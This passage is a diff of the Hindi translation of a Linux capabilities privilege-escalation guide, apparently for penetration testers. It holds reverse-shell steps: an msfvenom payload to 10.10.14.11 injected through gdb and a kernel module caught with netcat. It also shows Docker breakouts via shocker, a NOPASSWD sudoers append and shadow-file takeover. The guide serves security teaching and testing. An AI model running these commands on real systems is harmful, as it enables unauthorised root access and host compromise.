+**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** `ptrace(2)` द्वारा प्रदान की गई डिबगिंग और सिस्टम कॉल ट्रेसिंग कार्यक्षमताओं का उपयोग करने की क्षमता प्रदान करता है और `process_vm_readv(2)` और `process_vm_writev(2)` जैसे क्रॉस-मेमोरी अटैच कॉल्स। हालांकि यह निदान और निगरानी के उद्देश्यों के लिए शक्तिशाली है, यदि `ptrace(2)` पर एक सेकंप फ़िल्टर जैसे प्रतिबंधात्मक उपायों के बिना `CAP_SYS_PTRACE` सक्षम किया जाता है, तो यह सिस्टम सुरक्षा को महत्वपूर्ण रूप से कमजोर कर सकता है। विशेष रूप से, इसका उपयोग अन्य सुरक्षा प्रतिबंधों को दरकिनार करने के लिए किया जा सकता है, विशेष रूप से उन पर जो सेकंप द्वारा लगाए गए हैं, जैसा कि [इस तरह के प्रमाणों (PoC) द्वारा प्रदर्शित किया गया है](https://gist.github.com/thejh/8346f47e359adecd1d53)। **Example with binary (python)** ```bash @@ -536,29 +536,7 @@ libc.ptrace(PTRACE_DETACH, pid, None, None) ``` /usr/bin/gdb = cap_sys_ptrace+ep ``` -```markdown -msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT= -f elf > shell.elf -``` - -```markdown -gdb -q ./shell.elf -``` - -```markdown -(gdb) run -``` - -```markdown -(gdb) x/20x $esp -``` - -```markdown -(gdb) set {char[]}
= -``` - -```markdown -(gdb) continue -``` +msfvenom का उपयोग करके एक शेलकोड बनाएं जिसे gdb के माध्यम से मेमोरी में इंजेक्ट किया जा सके। ```python # msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py buf = b"" @@ -582,7 +560,7 @@ chunks += f"{byte:02x}" print(f"set {{long}}($rip+{i}) = {chunks}") ``` -एक रूट प्रक्रिया को gdb के साथ डिबग करें और पहले से उत्पन्न gdb लाइनों को कॉपी-पेस्ट करें: +एक रूट प्रक्रिया को gdb के साथ डिबग करें और पहले उत्पन्न gdb लाइनों को कॉपी-पेस्ट करें: ```bash # Let's write the commands to a file echo 'set {long}($rip+0) = 0x296a909090909090 @@ -607,7 +585,7 @@ process 207009 is executing new program: /usr/bin/dash ``` **उदाहरण वातावरण के साथ (Docker ब्रेकआउट) - एक और gdb दुरुपयोग** -यदि **GDB** स्थापित है (या आप इसे `apk add gdb` या `apt install gdb` के साथ स्थापित कर सकते हैं, उदाहरण के लिए) तो आप **होस्ट से एक प्रक्रिया को डिबग** कर सकते हैं और इसे `system` फ़ंक्शन को कॉल करने के लिए बना सकते हैं। (यह तकनीक भी `SYS_ADMIN` क्षमता की आवश्यकता है)**.** +यदि **GDB** स्थापित है (या आप इसे `apk add gdb` या `apt install gdb` के साथ स्थापित कर सकते हैं, उदाहरण के लिए) तो आप **होस्ट से एक प्रक्रिया को डिबग कर सकते हैं** और इसे `system` फ़ंक्शन को कॉल करने के लिए बना सकते हैं। (यह तकनीक भी `SYS_ADMIN` क्षमता की आवश्यकता होती है)**.** ```bash gdb -p 1234 (gdb) call (void)system("ls") @@ -617,7 +595,7 @@ gdb -p 1234 आप कमांड के निष्पादन का आउटपुट नहीं देख पाएंगे लेकिन यह प्रक्रिया द्वारा निष्पादित किया जाएगा (इसलिए एक रिवर्स शेल प्राप्त करें)। > [!WARNING] -> यदि आपको "वर्तमान संदर्भ में कोई प्रतीक "system" नहीं है।" त्रुटि मिलती है, तो gdb के माध्यम से एक प्रोग्राम में शेलकोड लोड करने का पिछले उदाहरण जांचें। +> यदि आपको "वर्तमान संदर्भ में कोई प्रतीक "system" नहीं है।" त्रुटि मिलती है, तो gdb के माध्यम से एक प्रोग्राम में शेलकोड लोड करने के पिछले उदाहरण की जांच करें। **पर्यावरण के साथ उदाहरण (Docker ब्रेकआउट) - शेलकोड इंजेक्शन** @@ -660,7 +638,7 @@ getcap -r / 2>/dev/null mkdir lib/modules -p cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r) ``` -फिर **कर्नेल मॉड्यूल को संकलित करें, आप नीचे 2 उदाहरण पा सकते हैं और इसे इस फ़ोल्डर में कॉपी करें:** +फिर **कर्नेल मॉड्यूल को संकलित करें, आप नीचे 2 उदाहरण पा सकते हैं और इसे** इस फ़ोल्डर में कॉपी करें: ```bash cp reverse-shell.ko lib/modules/$(uname -r)/ ``` @@ -671,9 +649,9 @@ km = kmod.Kmod() km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/") km.modprobe("reverse-shell") ``` -**उदाहरण 2 बाइनरी के साथ** +**Example 2 with binary** -निम्नलिखित उदाहरण में बाइनरी **`kmod`** में यह क्षमता है। +In the following example the binary **`kmod`** has this capability. ```bash getcap -r / 2>/dev/null /bin/kmod = cap_sys_module+ep @@ -697,7 +675,7 @@ groups=0(root) ``` **SYS_MODULE** क्षमता सक्षम है। -**एक** **कर्नेल मॉड्यूल** बनाएं जो एक रिवर्स शेल को निष्पादित करेगा और **Makefile** को **संकलित** करेगा: +**एक** **कर्नेल मॉड्यूल** बनाएं जो एक रिवर्स शेल को निष्पादित करेगा और **Makefile** इसे **संकलित** करने के लिए: ```c:reverse-shell.c #include #include @@ -735,13 +713,13 @@ make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean > Makefile में प्रत्येक make शब्द से पहले का खाली चर **tab होना चाहिए, स्पेस नहीं**! इसे संकलित करने के लिए `make` चलाएँ। -``` -ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. +```bash +Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. sudo apt update sudo apt full-upgrade ``` -अंत में, एक शेल के अंदर `nc` शुरू करें और **एक अन्य से मॉड्यूल लोड करें** और आप nc प्रक्रिया में शेल को कैप्चर करेंगे: +अंत में, एक शेल के अंदर `nc` शुरू करें और **मॉड्यूल लोड करें** एक अन्य से और आप nc प्रक्रिया में शेल कैप्चर करेंगे: ```bash #Shell 1 nc -lvnp 4444 @@ -751,11 +729,11 @@ insmod reverse-shell.ko #Launch the reverse shell ``` **इस तकनीक का कोड "SYS_MODULE क्षमता का दुरुपयोग" के प्रयोगशाला से कॉपी किया गया था** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) -इस तकनीक का एक और उदाहरण [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) में पाया जा सकता है। +इस तकनीक का एक और उदाहरण [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) में पाया जा सकता है ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) एक प्रक्रिया को **फाइलों को पढ़ने और निर्देशिकाओं को पढ़ने और निष्पादित करने के लिए अनुमतियों को बायपास करने** की अनुमति देता है। इसका प्राथमिक उपयोग फाइल खोजने या पढ़ने के उद्देश्यों के लिए है। हालाँकि, यह एक प्रक्रिया को `open_by_handle_at(2)` फ़ंक्शन का उपयोग करने की भी अनुमति देता है, जो किसी भी फ़ाइल तक पहुँच सकता है, जिसमें वे फ़ाइलें भी शामिल हैं जो प्रक्रिया के माउंट नामस्थान के बाहर हैं। `open_by_handle_at(2)` में उपयोग किया जाने वाला हैंडल एक गैर-प्रत्यक्ष पहचानकर्ता होना चाहिए जो `name_to_handle_at(2)` के माध्यम से प्राप्त किया गया हो, लेकिन इसमें संवेदनशील जानकारी जैसे कि इनोड नंबर शामिल हो सकते हैं जो छेड़छाड़ के प्रति संवेदनशील होते हैं। इस क्षमता के शोषण की संभावना, विशेष रूप से डॉकर कंटेनरों के संदर्भ में, सेबास्टियन क्राहमर द्वारा शॉकर एक्सप्लॉइट के साथ प्रदर्शित की गई थी, जैसा कि [यहाँ](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) विश्लेषण किया गया है। +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) एक प्रक्रिया को **फाइलों को पढ़ने और निर्देशिकाओं को पढ़ने और निष्पादित करने के लिए अनुमतियों को बायपास करने** की अनुमति देता है। इसका प्राथमिक उपयोग फाइल खोजने या पढ़ने के उद्देश्यों के लिए है। हालाँकि, यह एक प्रक्रिया को `open_by_handle_at(2)` फ़ंक्शन का उपयोग करने की अनुमति भी देता है, जो किसी भी फ़ाइल तक पहुँच सकता है, जिसमें वे फ़ाइलें भी शामिल हैं जो प्रक्रिया के माउंट नामस्थान के बाहर हैं। `open_by_handle_at(2)` में उपयोग किया जाने वाला हैंडल एक गैर-प्रत्यक्ष पहचानकर्ता होना चाहिए जो `name_to_handle_at(2)` के माध्यम से प्राप्त किया गया है, लेकिन इसमें संवेदनशील जानकारी जैसे कि इनोड नंबर शामिल हो सकते हैं जो छेड़छाड़ के प्रति संवेदनशील होते हैं। इस क्षमता के शोषण की संभावना, विशेष रूप से डॉकर कंटेनरों के संदर्भ में, सेबास्टियन क्राहमर द्वारा शॉकर शोषण के साथ प्रदर्शित की गई थी, जैसा कि [यहाँ](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) विश्लेषण किया गया है। **इसका मतलब है कि आप** **फाइल पढ़ने की अनुमति की जांच और निर्देशिका पढ़ने/निष्पादित करने की अनुमति की जांच को बायपास कर सकते हैं।** **बाइनरी के साथ उदाहरण** @@ -780,7 +758,7 @@ print(filename) ```python print(open("/etc/shadow", "r").read()) ``` -**उदाहरण वातावरण में (Docker ब्रेकआउट)** +**पर्यावरण में उदाहरण (Docker ब्रेकआउट)** आप docker कंटेनर के अंदर सक्षम क्षमताओं की जांच कर सकते हैं: ``` @@ -795,11 +773,11 @@ uid=0(root) gid=0(root) groups=0(root) ``` -अगले आउटपुट में आप देख सकते हैं कि **DAC_READ_SEARCH** क्षमता सक्षम है। परिणामस्वरूप, कंटेनर **प्रक्रियाओं को डिबग** कर सकता है। +पिछले आउटपुट में आप देख सकते हैं कि **DAC_READ_SEARCH** क्षमता सक्षम है। इसके परिणामस्वरूप, कंटेनर **प्रक्रियाओं को डिबग** कर सकता है। आप सीख सकते हैं कि निम्नलिखित शोषण कैसे काम करता है [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) लेकिन संक्षेप में **CAP_DAC_READ_SEARCH** न केवल हमें अनुमति जांच के बिना फ़ाइल प्रणाली को पार करने की अनुमति देता है, बल्कि यह _**open_by_handle_at(2)**_ पर किसी भी जांच को स्पष्ट रूप से हटा देता है और **हमारी प्रक्रिया को अन्य प्रक्रियाओं द्वारा खोली गई संवेदनशील फ़ाइलों तक पहुँचने की अनुमति दे सकता है**। -इस अनुमति का दुरुपयोग करने वाला मूल शोषण जो होस्ट से फ़ाइलें पढ़ता है, यहाँ पाया जा सकता है: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), निम्नलिखित एक **संशोधित संस्करण है जो आपको पहले तर्क के रूप में पढ़ने के लिए फ़ाइल निर्दिष्ट करने और इसे एक फ़ाइल में डंप करने की अनुमति देता है।** +मूल शोषण जो इन अनुमतियों का दुरुपयोग करके होस्ट से फ़ाइलें पढ़ता है, यहाँ पाया जा सकता है: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), निम्नलिखित एक **संशोधित संस्करण है जो आपको पहले तर्क के रूप में पढ़ने के लिए फ़ाइल निर्दिष्ट करने और इसे एक फ़ाइल में डंप करने की अनुमति देता है।** ```c #include #include @@ -950,7 +928,7 @@ return 0; } ``` > [!WARNING] -> यह एक्सप्लॉइट को होस्ट पर कुछ माउंट किए गए पॉइंटर को खोजने की आवश्यकता है। मूल एक्सप्लॉइट ने फ़ाइल /.dockerinit का उपयोग किया और इस संशोधित संस्करण ने /etc/hostname का उपयोग किया। यदि एक्सप्लॉइट काम नहीं कर रहा है, तो शायद आपको एक अलग फ़ाइल सेट करने की आवश्यकता है। होस्ट में माउंट की गई फ़ाइल खोजने के लिए बस mount कमांड चलाएँ: +> यह एक्सप्लॉइट होस्ट पर कुछ माउंटेड चीज़ों के लिए एक पॉइंटर खोजने की आवश्यकता है। मूल एक्सप्लॉइट ने फ़ाइल /.dockerinit का उपयोग किया और इस संशोधित संस्करण ने /etc/hostname का उपयोग किया। यदि एक्सप्लॉइट काम नहीं कर रहा है, तो शायद आपको एक अलग फ़ाइल सेट करने की आवश्यकता है। होस्ट में माउंट की गई फ़ाइल खोजने के लिए बस mount कमांड चलाएँ: ![](<../../images/image (407) (1).png>) @@ -973,13 +951,13 @@ vim /etc/sudoers #To overwrite it ``` **Example with binary 2** -In this example **`python`** binary will have this capability. You could use python to override any file: +In this example **`python`** बाइनरी में यह क्षमता होगी। आप किसी भी फ़ाइल को ओवरराइड करने के लिए python का उपयोग कर सकते हैं: ```python file=open("/etc/sudoers","a") file.write("yourusername ALL=(ALL) NOPASSWD:ALL") file.close() ``` -**उदाहरण वातावरण + CAP_DAC_READ_SEARCH (Docker ब्रेकआउट)** +**उदाहरण वातावरण के साथ + CAP_DAC_READ_SEARCH (Docker ब्रेकआउट)** आप docker कंटेनर के अंदर सक्षम क्षमताओं की जांच कर सकते हैं: ```bash @@ -994,7 +972,7 @@ uid=0(root) gid=0(root) groups=0(root) ``` -सबसे पहले पिछले अनुभाग को पढ़ें जो [**DAC_READ_SEARCH क्षमता का दुरुपयोग करके मनमाने फ़ाइलों को पढ़ता है**](linux-capabilities.md#cap_dac_read_search) होस्ट की और **शोषण को संकलित करें**।\ +सबसे पहले पिछले अनुभाग को पढ़ें जो [**DAC_READ_SEARCH क्षमता का दुरुपयोग करके मनमाने फ़ाइलों को पढ़ता है**](linux-capabilities.md#cap_dac_read_search) होस्ट का और **शोषण को संकलित करें**।\ फिर, **शॉकर शोषण के निम्नलिखित संस्करण को संकलित करें** जो आपको होस्ट के फ़ाइल सिस्टम के अंदर **मनमाने फ़ाइलों को लिखने** की अनुमति देगा: ```c #include @@ -1134,9 +1112,9 @@ close(fd1); return 0; } ``` -डॉकर कंटेनर से बाहर निकलने के लिए आप होस्ट से फ़ाइलें **डाउनलोड** कर सकते हैं `/etc/shadow` और `/etc/passwd`, उन्हें एक **नया उपयोगकर्ता** **जोड़ें**, और उन्हें ओवरराइट करने के लिए **`shocker_write`** का उपयोग करें। फिर, **ssh** के माध्यम से **एक्सेस** करें। +docker कंटेनर से बाहर निकलने के लिए आप होस्ट से फ़ाइलें **डाउनलोड** कर सकते हैं `/etc/shadow` और `/etc/passwd`, उनमें एक **नया उपयोगकर्ता** **जोड़ें**, और उन्हें ओवरराइट करने के लिए **`shocker_write`** का उपयोग करें। फिर, **ssh** के माध्यम से **एक्सेस** करें। -**इस तकनीक का कोड "Abusing DAC_OVERRIDE Capability" के प्रयोगशाला से कॉपी किया गया था** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) +**इस तकनीक का कोड "Abusing DAC_OVERRIDE Capability" के प्रयोगशाला से कॉपी किया गया है** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) ## CAP_CHOWN @@ -1144,7 +1122,7 @@ return 0; **बाइनरी के साथ उदाहरण** -मान लीजिए कि **`python`** बाइनरी के पास यह क्षमता है, आप **shadow** फ़ाइल का **स्वामी** **बदल सकते हैं**, **रूट पासवर्ड** **बदल सकते हैं**, और विशेषाधिकार बढ़ा सकते हैं: +मान लीजिए कि **`python`** बाइनरी में यह क्षमता है, आप **shadow** फ़ाइल का **स्वामी** **बदल सकते** हैं, **रूट पासवर्ड** **बदल सकते** हैं, और विशेषाधिकार बढ़ा सकते हैं: ```bash python -c 'import os;os.chown("/etc/shadow",1000,1000)' ``` @@ -1210,7 +1188,7 @@ os.system("/bin/bash") ```bash cat /etc/shadow ``` -यदि **docker** स्थापित है, तो आप **docker समूह** का **नकली रूप** धारण कर सकते हैं और इसका दुरुपयोग करके [**docker socket** के साथ संवाद करें और विशेषाधिकार बढ़ाएं](#writable-docker-socket)। +यदि **docker** स्थापित है, तो आप **docker समूह** का **नकली रूप** धारण कर सकते हैं और इसका उपयोग [**docker socket** के साथ संवाद करने और विशेषाधिकार बढ़ाने](#writable-docker-socket) के लिए कर सकते हैं। ## CAP_SETFCAP @@ -1218,7 +1196,7 @@ cat /etc/shadow **बाइनरी के साथ उदाहरण** -यदि python में यह **क्षमता** है, तो आप इसे रूट तक विशेषाधिकार बढ़ाने के लिए बहुत आसानी से दुरुपयोग कर सकते हैं: +यदि python के पास यह **क्षमता** है, तो आप इसे आसानी से विशेषाधिकार बढ़ाने के लिए उपयोग कर सकते हैं। ```python:setcapability.py import ctypes, sys @@ -1252,7 +1230,7 @@ python setcapability.py /usr/bin/python2.7 **पर्यावरण के साथ उदाहरण (Docker ब्रेकआउट)** -डिफ़ॉल्ट रूप से क्षमता **CAP_SETFCAP कंटेनर के अंदर प्रक्रिया को Docker में दी जाती है**। आप यह कुछ इस तरह करके जांच सकते हैं: +डिफ़ॉल्ट रूप से क्षमता **CAP_SETFCAP कंटेनर के अंदर प्रक्रिया को दी जाती है Docker में**। आप यह कुछ इस तरह चेक कर सकते हैं: ```bash cat /proc/`pidof bash`/status | grep Cap CapInh: 00000000a80425fb @@ -1276,10 +1254,10 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb bash: /usr/bin/gdb: Operation not permitted ``` [From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: यह **प्रभावी क्षमताओं के लिए एक सीमित सुपरसेट** है जो थ्रेड ग्रहण कर सकता है। यह उन क्षमताओं के लिए भी एक सीमित सुपरसेट है जिन्हें एक थ्रेड द्वारा विरासत में ली जाने वाली सेट में जोड़ा जा सकता है जो अपने प्रभावी सेट में **CAP_SETPCAP** क्षमता नहीं रखता है।_\ -ऐसा लगता है कि Permitted क्षमताएँ उन क्षमताओं को सीमित करती हैं जिन्हें उपयोग किया जा सकता है।\ -हालांकि, Docker डिफ़ॉल्ट रूप से **CAP_SETPCAP** भी प्रदान करता है, इसलिए आप **विरासत में ली जाने वाली क्षमताओं के भीतर नई क्षमताएँ सेट करने में सक्षम हो सकते हैं**।\ +ऐसा लगता है कि अनुमत क्षमताएँ उन क्षमताओं को सीमित करती हैं जिन्हें उपयोग किया जा सकता है।\ +हालांकि, Docker डिफ़ॉल्ट रूप से **CAP_SETPCAP** भी प्रदान करता है, इसलिए आप **विरासत में ली जाने वाली क्षमताओं के भीतर नई क्षमताएँ सेट करने में सक्षम हो सकते हैं।**\ हालांकि, इस क्षमता के दस्तावेज़ में: _CAP_SETPCAP : \[…] **कॉलिंग थ्रेड के बाउंडिंग** सेट से किसी भी क्षमता को इसके विरासत में ली जाने वाली सेट में जोड़ें।_\ -ऐसा लगता है कि हम केवल बाउंडिंग सेट से विरासत में ली जाने वाली सेट में क्षमताएँ जोड़ सकते हैं। जिसका अर्थ है कि **हम नई क्षमताएँ जैसे CAP_SYS_ADMIN या CAP_SYS_PTRACE को विरासत सेट में नहीं डाल सकते हैं ताकि विशेषाधिकार बढ़ाए जा सकें**। +ऐसा लगता है कि हम केवल बाउंडिंग सेट से विरासत में ली जाने वाली सेट में क्षमताएँ जोड़ सकते हैं। जिसका अर्थ है कि **हम नई क्षमताएँ जैसे CAP_SYS_ADMIN या CAP_SYS_PTRACE को विरासत सेट में नहीं डाल सकते हैं ताकि विशेषाधिकार बढ़ाए जा सकें।** ## CAP_SYS_RAWIO @@ -1303,7 +1281,7 @@ os.killpg(pgid, signal.SIGKILL) ``` **Privesc with kill** -यदि आपके पास kill क्षमताएँ हैं और एक **node प्रोग्राम root के रूप में** (या किसी अन्य उपयोगकर्ता के रूप में) चल रहा है, तो आप शायद इसे **संकेत SIGUSR1** भेज सकते हैं और इसे **node debugger** खोलने के लिए मजबूर कर सकते हैं जहाँ आप कनेक्ट कर सकते हैं। +यदि आपके पास kill क्षमताएँ हैं और एक **node प्रोग्राम रूट के रूप में** (या किसी अन्य उपयोगकर्ता के रूप में) चल रहा है, तो आप शायद इसे **संकेत SIGUSR1** भेज सकते हैं और इसे **node डिबगर** खोलने के लिए मजबूर कर सकते हैं जहाँ आप कनेक्ट कर सकते हैं। ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d @@ -1315,11 +1293,11 @@ electron-cef-chromium-debugger-abuse.md ## CAP_NET_BIND_SERVICE -**इसका मतलब है कि किसी भी पोर्ट पर सुनना संभव है (यहां तक कि विशेषाधिकार वाले पोर्ट पर भी)।** आप इस क्षमता के साथ सीधे विशेषाधिकार नहीं बढ़ा सकते। +**इसका मतलब है कि किसी भी पोर्ट (यहां तक कि विशेषाधिकार वाले पोर्ट पर) सुनना संभव है।** आप इस क्षमता के साथ सीधे विशेषाधिकार नहीं बढ़ा सकते। **बाइनरी के साथ उदाहरण** -यदि **`python`** के पास यह क्षमता है, तो यह किसी भी पोर्ट पर सुनने में सक्षम होगा और यहां तक कि इससे किसी अन्य पोर्ट से कनेक्ट भी कर सकेगा (कुछ सेवाओं को विशिष्ट विशेषाधिकार वाले पोर्ट से कनेक्शन की आवश्यकता होती है) +यदि **`python`** के पास यह क्षमता है, तो यह किसी भी पोर्ट पर सुनने में सक्षम होगा और यहां तक कि इससे किसी अन्य पोर्ट से भी कनेक्ट कर सकेगा (कुछ सेवाओं को विशिष्ट विशेषाधिकार वाले पोर्ट से कनेक्शन की आवश्यकता होती है) {{#tabs}} {{#tab name="Listen"}} @@ -1347,9 +1325,9 @@ s.connect(('10.10.10.10',500)) ## CAP_NET_RAW -[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) क्षमता प्रक्रियाओं को **RAW और PACKET सॉकेट बनाने** की अनुमति देती है, जिससे वे मनमाने नेटवर्क पैकेट उत्पन्न और भेज सकते हैं। यह कंटेनराइज्ड वातावरण में सुरक्षा जोखिमों का कारण बन सकता है, जैसे पैकेट स्पूफिंग, ट्रैफ़िक इंजेक्शन, और नेटवर्क एक्सेस नियंत्रणों को बायपास करना। दुर्भावनापूर्ण अभिनेता इसका उपयोग कंटेनर रूटिंग में हस्तक्षेप करने या होस्ट नेटवर्क सुरक्षा को कमजोर करने के लिए कर सकते हैं, विशेष रूप से जब उचित फ़ायरवॉल सुरक्षा नहीं हो। इसके अतिरिक्त, **CAP_NET_RAW** विशेषाधिकार प्राप्त कंटेनरों के लिए RAW ICMP अनुरोधों के माध्यम से पिंग जैसी संचालन का समर्थन करने के लिए महत्वपूर्ण है। +[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) क्षमता प्रक्रियाओं को **RAW और PACKET सॉकेट बनाने** की अनुमति देती है, जिससे वे मनमाने नेटवर्क पैकेट उत्पन्न और भेज सकते हैं। यह कंटेनराइज्ड वातावरण में सुरक्षा जोखिम पैदा कर सकता है, जैसे पैकेट स्पूफिंग, ट्रैफिक इंजेक्शन, और नेटवर्क एक्सेस नियंत्रण को बायपास करना। दुर्भावनापूर्ण अभिनेता इसका उपयोग कंटेनर रूटिंग में हस्तक्षेप करने या होस्ट नेटवर्क सुरक्षा को खतरे में डालने के लिए कर सकते हैं, विशेष रूप से जब उचित फ़ायरवॉल सुरक्षा न हो। इसके अतिरिक्त, **CAP_NET_RAW** विशेषाधिकार प्राप्त कंटेनरों के लिए RAW ICMP अनुरोधों के माध्यम से पिंग जैसी संचालन का समर्थन करने के लिए महत्वपूर्ण है। -**इसका मतलब है कि ट्रैफ़िक को स्निफ़ करना संभव है।** आप इस क्षमता के साथ सीधे विशेषाधिकार नहीं बढ़ा सकते। +**इसका मतलब है कि ट्रैफिक को स्निफ करना संभव है।** आप इस क्षमता के साथ सीधे विशेषाधिकार नहीं बढ़ा सकते। **बाइनरी के साथ उदाहरण** @@ -1408,11 +1386,11 @@ count=count+1 ``` ## CAP_NET_ADMIN + CAP_NET_RAW -[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) क्षमता धारक को **नेटवर्क कॉन्फ़िगरेशन में परिवर्तन** करने की शक्ति देती है, जिसमें फ़ायरवॉल सेटिंग्स, रूटिंग तालिकाएँ, सॉकेट अनुमतियाँ, और एक्सपोज़ किए गए नेटवर्क नामस्थान के भीतर नेटवर्क इंटरफ़ेस सेटिंग्स शामिल हैं। यह नेटवर्क इंटरफ़ेस पर **प्रोमिस्क्यूअस मोड** चालू करने की अनुमति भी देता है, जिससे नामस्थान के बीच पैकेट स्निफ़िंग की जा सके। +[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) क्षमता धारक को **नेटवर्क कॉन्फ़िगरेशन में परिवर्तन** करने की शक्ति देती है, जिसमें फ़ायरवॉल सेटिंग्स, राउटिंग तालिकाएँ, सॉकेट अनुमतियाँ, और एक्सपोज़ किए गए नेटवर्क नामस्थान के भीतर नेटवर्क इंटरफ़ेस सेटिंग्स शामिल हैं। यह नेटवर्क इंटरफ़ेस पर **प्रोमिस्क्यूअस मोड** चालू करने की अनुमति भी देता है, जिससे नामस्थान के बीच पैकेट स्निफ़िंग की जा सके। **Example with binary** -मान लीजिए कि **python binary** के पास ये क्षमताएँ हैं। +मान लीजिए कि **python बाइनरी** में ये क्षमताएँ हैं। ```python #Dump iptables filter table rules import iptc @@ -1426,11 +1404,11 @@ iptc.easy.flush_table('filter') ``` ## CAP_LINUX_IMMUTABLE -**इसका मतलब है कि inode विशेषताओं को संशोधित करना संभव है।** आप इस क्षमता के साथ सीधे विशेषाधिकार नहीं बढ़ा सकते। +**इसका मतलब है कि inode गुणों को संशोधित करना संभव है।** आप इस क्षमता के साथ सीधे विशेषाधिकार नहीं बढ़ा सकते। **बाइनरी के साथ उदाहरण** -यदि आप पाते हैं कि एक फ़ाइल अपरिवर्तनीय है और पायथन के पास यह क्षमता है, तो आप **अपरिवर्तनीय विशेषता को हटा सकते हैं और फ़ाइल को संशोधित करने योग्य बना सकते हैं:** +यदि आप पाते हैं कि एक फ़ाइल अपरिवर्तनीय है और पायथन के पास यह क्षमता है, तो आप **अपरिवर्तनीय गुण को हटा सकते हैं और फ़ाइल को संशोधित करने योग्य बना सकते हैं:** ```python #Check that the file is imutable lsattr file.sh @@ -1453,7 +1431,7 @@ fcntl.ioctl(fd, FS_IOC_SETFLAGS, f) f=open("/path/to/file.sh",'a+') f.write('New content for the file\n') ``` -> [!NOTE] +> [!TIP] > ध्यान दें कि आमतौर पर यह अपरिवर्तनीय विशेषता सेट और हटाई जाती है: > > ```bash @@ -1470,11 +1448,11 @@ f.write('New content for the file\n') ## CAP_SYS_BOOT -[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) केवल सिस्टम पुनरारंभ के लिए `reboot(2)` सिस्टम कॉल के निष्पादन की अनुमति नहीं देता, जिसमें कुछ हार्डवेयर प्लेटफार्मों के लिए अनुकूलित विशिष्ट आदेश जैसे `LINUX_REBOOT_CMD_RESTART2` शामिल हैं, बल्कि यह `kexec_load(2)` का उपयोग करने की अनुमति भी देता है और, Linux 3.17 से आगे, नए या हस्ताक्षरित क्रैश कर्नेल को लोड करने के लिए `kexec_file_load(2)` का उपयोग भी सक्षम करता है। +[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) केवल सिस्टम पुनरारंभ के लिए `reboot(2)` सिस्टम कॉल के निष्पादन की अनुमति नहीं देता, जिसमें कुछ हार्डवेयर प्लेटफार्मों के लिए अनुकूलित विशिष्ट आदेश जैसे `LINUX_REBOOT_CMD_RESTART2` शामिल हैं, बल्कि यह `kexec_load(2)` का उपयोग करने की अनुमति भी देता है और, Linux 3.17 से आगे, नए या साइन किए गए क्रैश कर्नेल को लोड करने के लिए `kexec_file_load(2)` का उपयोग करने की अनुमति देता है। ## CAP_SYSLOG -[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) को Linux 2.6.37 में व्यापक **CAP_SYS_ADMIN** से अलग किया गया था, विशेष रूप से `syslog(2)` कॉल का उपयोग करने की क्षमता प्रदान करता है। यह क्षमता `/proc` और समान इंटरफेस के माध्यम से कर्नेल पते देखने की अनुमति देती है जब `kptr_restrict` सेटिंग 1 पर होती है, जो कर्नेल पते के प्रदर्शन को नियंत्रित करती है। Linux 2.6.39 से, `kptr_restrict` का डिफ़ॉल्ट 0 है, जिसका अर्थ है कि कर्नेल पते प्रदर्शित होते हैं, हालांकि कई वितरण इसे 1 (uid 0 को छोड़कर पते छिपाना) या 2 (हमेशा पते छिपाना) के लिए सुरक्षा कारणों से सेट करते हैं। +[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) को Linux 2.6.37 में व्यापक **CAP_SYS_ADMIN** से अलग किया गया, विशेष रूप से `syslog(2)` कॉल का उपयोग करने की क्षमता प्रदान करता है। यह क्षमता `/proc` और समान इंटरफेस के माध्यम से कर्नेल पते देखने की अनुमति देती है जब `kptr_restrict` सेटिंग 1 पर होती है, जो कर्नेल पते के प्रदर्शन को नियंत्रित करती है। Linux 2.6.39 से, `kptr_restrict` का डिफ़ॉल्ट 0 है, जिसका अर्थ है कि कर्नेल पते प्रदर्शित होते हैं, हालांकि कई वितरण इसे 1 (uid 0 को छोड़कर पते छिपाना) या 2 (हमेशा पते छिपाना) सुरक्षा कारणों से सेट करते हैं। इसके अतिरिक्त, 